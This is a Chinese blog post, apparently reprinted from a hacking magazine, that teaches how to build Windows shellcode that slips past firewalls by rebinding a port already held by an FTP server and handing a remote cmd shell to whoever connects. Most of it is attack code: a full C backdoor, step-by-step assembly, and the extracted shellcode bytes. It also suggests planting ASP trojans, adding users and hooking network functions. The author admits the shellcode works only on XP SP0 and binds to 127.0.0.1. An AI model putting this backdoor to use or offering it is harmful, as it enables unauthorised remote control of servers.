現在網絡上獲得控制臺的ShellCode要么是在目標機上開一個端口,等待攻擊者連接;要么是讓目標機主動連接攻擊者的主機,俗稱反向連接。但前種方法一般都會被防火墻擋住,而后者反連不但需要攻擊者有一個公網IP,而且也會被目標機端禁止外連訪問的防火墻擋掉。那有沒有更好的辦法呢?
第一種方法就是復用攻擊時的Socket。我們在給目標機發送攻擊字符串的時候,就使用了Socket,如果還存在,我們把它找到并回收利用。ShellCode完成的功能是查找進程中所有的Socket并依次判斷,如果是那個發送攻擊字符串的Socket,就使用它來傳文件,開后門等等。
第二種方法是復用端口。作為服務器,防火墻總會打開提高服務所需要的端口,比如FTP的21端口,IIS的80端口等。我們在ShellCode中復用這些防火墻打開的端口,并完成自己想要的功能。
第三種方法是終止掉目標機上的FTP或IIS等服務,然后再占用21、80等端口。這種方法在法二失敗的情況下可以使用。
還有其它的一些方法,比如紅色代碼蠕蟲使用的Hook技術,它是把TcpSockSend函數替換掉,這樣發給任何客戶的信息都是“Hacker by Chinese”,我們也可以把接收函數Recv函數Hook掉,保證即執行攻擊者發過去的命令,又不影響正常的服務。
另外還可以查找Socket,把所有的Socket都綁定一個DOS Shell;如果知道網站的物理路徑,還可以由ShellCode直接創建一個ASP木馬!當然還可以添加用戶,創建虛擬映射盤,直接寫一個EXE的木馬并執行等……方法很多,要用發散性的思維考慮!只要想的到,不要管做得到做不到!
不管做得到做不到?這些思路都可以實現嗎?其實在《Windows下ShellCode編寫初步》一文中已經講過,ShellCode就是一段代碼的機器碼形式,所以只要ShellCode不要太長,并符合特殊字符的規劃,運行起來是不會有問題的。來個實際的編寫例子吧,這里就以第二種思路――復用端口,來講解突破防火墻ShellCode的實現。
C實現重用端口
一般情況下,已經綁定的端口是不能再次被綁定的,但可以使用Setsockopt函數來改變這一點。Setsockopt函數原型如下,
int setsockopt(
SOCKET s,
int level,
int optname,
const char* optval,
int optlen
);
第一個參數為要改變的Socket標志符,第二個參數為選項的等級,第三個參數就是要改成的選項名了,第四第五個參數為請求值緩沖區的指針和大小。具體實現時,把第三個參數設為SO_REUSEADDR,就可以重用已綁定的端口了。代碼如下:
BOOL val = TRUE;
setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)
其它的和一般的后門編寫就一樣了。怎么樣,很簡單吧?
WTF:該方法只有在原來的程序沒有使用SO_EXCLUSIVEADDRUSE選項來綁定端口的情況下,才能使用SO_REUSEADDR成功。如果使用了SO_EXCLUSIVEADDRUSE選項,就只能用其它的方法綁定端口了。
Telnet后門的編寫
端口可以重用之后,總要加點功能來顯示這種方法的優劣吧?空說復用端口好有什么用呢?所以再加上一個大家都看得見的功能:給連接端口的客戶開一個遠程的Shell。
開遠程的Shell比較簡單,用CreateProcess函數建立CMD進程,并把進程的輸入輸出和錯誤句柄都換成我們的Socket就可以了。注意這里的Socket要用WSASocket函數建立才能這樣替換,而用Socket函數建立的就只能用管道來通信了。這些不在本文的討論之內,大家可以參看以前和將來的黑防,都會有講的。
C實現的程序如下。
int main()
{
WSADATA ws;
SOCKET listenFD;
int ret;
//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//注意要用WSASocket
listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//設置套接字選項,SO_REUSEADDR選項就是可以實現端口重綁定的
//但如果指定了SO_EXCLUSIVEADDRUSE,就不會綁定成功
BOOL val = TRUE;
setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) );
//監聽本機21端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(21);
server.sin_addr.s_addr = inet_addr("127.0.0.1");
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客戶請求21端口,接受連接
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//設置為輸入輸出句柄為Socket
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[] = "cmd";
PROCESS_INFORMATION ProcessInformation;
//建立進程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}
測試一下,先安裝一個Serv_U FTP服務器,那么它會打開21端口。如果Telnet 21端口,就會得到Serv_U的Banner,如下圖1所示。

圖1
現在執行我們的程序,就會重新綁定21端口。用Netstat –an查看,會發現有兩個21端口在監聽,一個的IP是0.0.0.0,一個是127.0.0.1。如圖2所示。

圖2
現在再Telnet 21端口,這次得到的是Shell!哈哈,沒錯,我們的程序搶掉了Serv_U用的21端口,突破成功!如圖3所示。

圖3
匯編的編寫
C程序代碼成功實現后,就要把它變為有ShellCode特點的匯編了。
《打造Windows下自己的ShellCode》一文中分析過,Windows下函數的調用是先將參數從右到左入棧,然后Call 函數的地址,所以首先要找出所有函數的地址并記下來。
我寫了個“FindAddress.cpp”,來查找這次所有要用的函數地址。先LoadLibrary函數所在的Dll,再GetProcAddress函數名,最后打印出得到的地址。以后要查找其它函數地址時,只要更改LoadLibrary和GetProcAddress參數里的Dll名和函數名就可以了。
在我的系統XP sp0下,執行的效果如下圖4所示。

圖4
在匯編代碼中,把找出來的函數地址保存下來,以備后用。這里用的是固定的API函數地址,以后介紹了動態獲取函數地址后,只需要加上動態查找那部分,而后面部分可以保持不動就繼續使用了。這也算是一種工程的思想吧。
地址找到后,開始實現每個函數,函數實現完畢,匯編就寫出來了。
第一個是WSAStartup(MAKEWORD(2,2),&ws), 隨便減Esp 0x200,將Esp作為WS的地址,而MAKEWORD(2,2)就是0x202,所以直接Push 0x202就可以了。匯編實現如下:
sub esp, 0x200
push esp //第二個參數&wsa
push 0x202 //第一個參數0x202
call dword ptr [ebp + 0x8] //[ebp+0x8]中存著WSAStartup的地址,執行
add esp, 0x200
第二個是執行WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0),這有點麻煩,那些參數值是多少呢?一種方法點右鍵,選擇“goto 定義”,就可以找到對應的值,但遇到參數比較多的時候就比較慢;另一種方法,借用寫好的C程序,按F10進入調試,按Debug工具欄上的Disassemble按鈕,就出現了對應的匯編代碼。如下圖5所示。

圖5
看,對應的值不就出來了嗎?我們只要仿照著,依次Push 0 0 0 6 1 2,再Call WSASocketA函數的地址就行了。以前說過,WSASocketA函數執行完后,EAX會存放函數的返回值,所以這里的EAX就是建立的Socket,我們把它保存在Ebx中,在后面會使用。
mov ebx, eax ; save Socket to ebx
下一句是“setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) )”,用同樣的方法,就會知道Sizeof(val)=4,SO_REUSEADDR為4,SOL_SOCKET為0FFFFh。那第四個參數(char *)&val怎么表示呢?
其實Val=true,就是0x00000001,那么&val就是0x00000001的地址,我們在堆棧中構造出0x00000001,把它的地址當參數就可以了。
mov eax, 0x00000001
push eax
mov esi, esp ;這樣把&val存在esi中。
再執行Setsockopt就是:
push 4 //第五個參數sizeof(val)=4
push esi //第四個參數&val
push 4 //第三個參數SO_REUSEADDR
push 0FFFFh //第二個參數SOL_SOCKET
push ebx //第一個參數,WSASocket建立的Socket
Call dword ptr [ebp+0x16]//[ebp+0x16]中存著setsockopt的地址,執行
OK!瞬間完成了一半的工作量,看著匯編一段一段的寫好,真是件愜意的事啊!
好了,該第四個函數了:“bind(listenFD,(sockaddr *)&server,sizeof(server));”,方法同上,第二個參數&server是一個sockaddr_in結構的地址,而且里面還有對端口、地址的設置,就是這三句:
server.sin_family = AF_INET;
server.sin_port = htons(21);
server.sin_addr.s_addr = inet_addr("127.0.0.1");
怎么轉換比較簡單呢?還是借助C程序的調試過程!在調試時,從Debug工具欄上調出Memory窗口,輸入Server,就可以看到Server這個結構的值,在賦值完畢之后,變成02 00 00 15 7F 00 00 01,如下圖6所示。

圖6
而且通過這個過程還知道,第一個0002是AF_INET,1500是htons(21),最后的0100007F是Inet_addr(“127.0.0.1”)得到的值。我們就依著葫蘆畫瓢,模仿著構造出Server的值,并把地址給Esi保存,代碼如下:
push 0x0100007F
push 0x15000002
mov esi,esp //構造server的值,并把地址賦給esi
有了Server參數后,就可以執行Bind函數了:
push 10h //第三個參數sizeof(server)=10h
push esi //第二個參數server的地址
push ebx //第一個參數Socket
call dword ptr [ebp+0x20] //[ebp+0x20]中存著bind的地址,執行
那接下來的Listen(listenFD,2)就太簡單了,實現如下:
push 2; //第二個參數2
push ebx; //第一個參數Socket
call dword ptr [ebp+0x24]; //[ebp+0x24]中存著listen的地址,執行
隨后的Accept(listenFD,(sockaddr *)&server,&iAddrSize)也能輕松搞定,為:
push 10h //構造iAddrSize,地址為esp
push esp //第三個參數&iAddrSize
push esi //第二個參數&server
push ebx //第一個參數Socket
call dword ptr [ebp+0x28] //[ebp+0x28]中存著accept的地址,執行
當然,因為后面要用到Accept后產生的Socket,所以把它保存在Ebx中。
mov ebx, eax //把新Socket保存在ebx中
這樣就到了最關鍵的決定成敗的最終BOSS:“CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);”。哇,大概看一看,好多參數,真嚇人!但仔細一看,原來是紙老虎,參數基本上都是0和1,要構造的只有三個,那就簡單了。
0和1就不說了,直接Push就可以了,&ProcessInformation最簡單,因為不用賦初值,隨便找個不用的地址就可以了,CmdLine也好解決,“cmd” 就是63 6d 64 00,構造在Ebp+0x32中,把Ebp+0x32的地址當參數壓就可以了。只剩下&si了,對它的賦值有幾句話,
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//設置為輸入輸出句柄為Socket
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
就是先清零,再設置Flag和句柄。我們在調試過程中,仔細地、慢慢地、溫柔地數,最后可以知道Si+2ch的地方為Flag地址,“Si+38h Si+3ch Si+40h”的地方為輸入輸出和錯誤句柄。那么在匯編中構造Si就是:
lea edi,[esp];
mov word ptr [edi+2ch], 0x0101; //si.dwFlags =0x0101
mov [edi+38h],ebx; //si.hStdInput
mov [edi+3ch],ebx; //si.hStdOutput
mov [edi+40h],ebx; //si.hStdError = Socket
實現CreateProcess如下:
//暫存cmd.exe字符串于ebp+0x32中
mov dword ptr [ebp+0x32],0x00646d63;
lea eax,[esp+0x44]
push eax //最后一個參數&ProcessInformation
push edi //&si
push 0 //0
push 0 //0
push 0 //0
push 1 //1
push 0 //0
push 0 //0
lea eax,[ebp+0x32]
push eax //"cmd"
push 0 //0
call [ebp+0x4] //[ebp+0x4]中存著CreateProcessA的地址,執行
ShellCode的獲取和驗證
好了,把匯編連起來,得到“ReBindASM.cpp”驗證一下,呵呵,還是成功。如圖7所示。

圖7
有一個出錯對話框——當然了,我們的Esp ebp都被覆蓋了,當然會出錯。感興趣的讀者可以自己下去把它們恢復一下。剩下我們最感興趣的ShellCode的提取了。
《打造Windows下自己的ShellCode》中講過,在得到匯編后,可以進行調試,然后把匯編對應的機器碼一個一個的抄下來。這里當然也可以這樣,但代碼太多了,一個個的抄也太郁悶了吧……我們換個方法。
進入調試,在調試進入我們的匯編時,在Memory窗口中輸入Eip,這樣出現的就是我們ShellCode在內存中的值,如下圖8所示。

圖8
這下簡單了,把ShellCode從開始到結束粘貼下來,刪掉多于的字符,把空格替換成’\x’,就得到重用端口,突破防火墻的ShellCode如下:
char ShellCode[] =
"\x55\x83\xEC\x40\x8B\xEC\xC7\x45\x04\xB8\x1B\xE4\x77\xC7\x45\x08\xDA\x41\xA2\x71\xC7\x45\x12\x01\x5A\xA2\x71"
"\xC7\x45\x16\x8D\x3F\xA2\x71\xC7\x45\x20\xCE\x3E\xA2\x71\xC7\x45\x24\xE2\x5D\xA2\x71\xC7\x45\x28\x8D\x86\xA2"
"\x71\x81\xEC\x00\x02\x00\x00\x54\x68\x02\x02\x00\x00\xFF\x55\x08\x81\xC4\x00\x02\x00\x00\x6A\x00\x6A\x00\x6A"
"\x00\x6A\x06\x6A\x01\x6A\x02\xFF\x55\x12\x8B\xD8\xB8\x01\x00\x00\x00\x50\x8B\xF4\x6A\x04\x56\x6A\x04\x68\xFF"
"\xFF\x00\x00\x53\xFF\x55\x16\x68\x7F\x00\x00\x01\x68\x02\x00\x00\x15\x8B\xF4\x6A\x10\x56\x53\xFF\x55\x20\x6A"
"\x02\x53\xFF\x55\x24\x6A\x10\x54\x56\x53\xFF\x55\x28\x8B\xD8\x81\xEC\x80\x00\x00\x00\x8D\x3C\x24\x33\xC0\x68"
"\x80\x00\x00\x00\x59\xF3\xAA\x8D\x3C\x24\x66\xC7\x47\x2C\x01\x01\x89\x5F\x38\x89\x5F\x3C\x89\x5F\x40\xC7\x45"
"\x32\x63\x6D\x64\x00\x8D\x44\x24\x44\x50\x57\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x8D\x45\x32\x50"
"\x6A\x00\xFF\x55\x04";
在Main函數里面,嵌入如下代碼就可以將ShellCode當成函數執行:
lea eax, ShellCode;
call eax
測試一下,哈哈,還是成功了。如圖9所示。

圖9
這樣我們就親自打造出了一個ShellCode,而且這個ShellCode在外面是絕對找不到的哦,呵呵,知道為什么嗎?因為這個ShellCode根本不能用啊!(豆大的汗珠從WTF后腦勺上滴下……)一是因為使用的是XP SP0的函數絕對地址,只能在XP SP0下用,如果是2000,或者XP的另外版本,都會失敗;二是綁定的是127.0.0.1,其實需要對方的實際IP地址。要解決這兩個問題,一是需要動態的獲得函數地址,來把我們這個ShellCode改為通用的;二是加入對方IP和端口的定制,這樣打造出的才是完美的ShellCode
posted on 2007-07-22 03:22
聶文龍 閱讀(835)
評論(1) 編輯 收藏 引用 所屬分類:
c++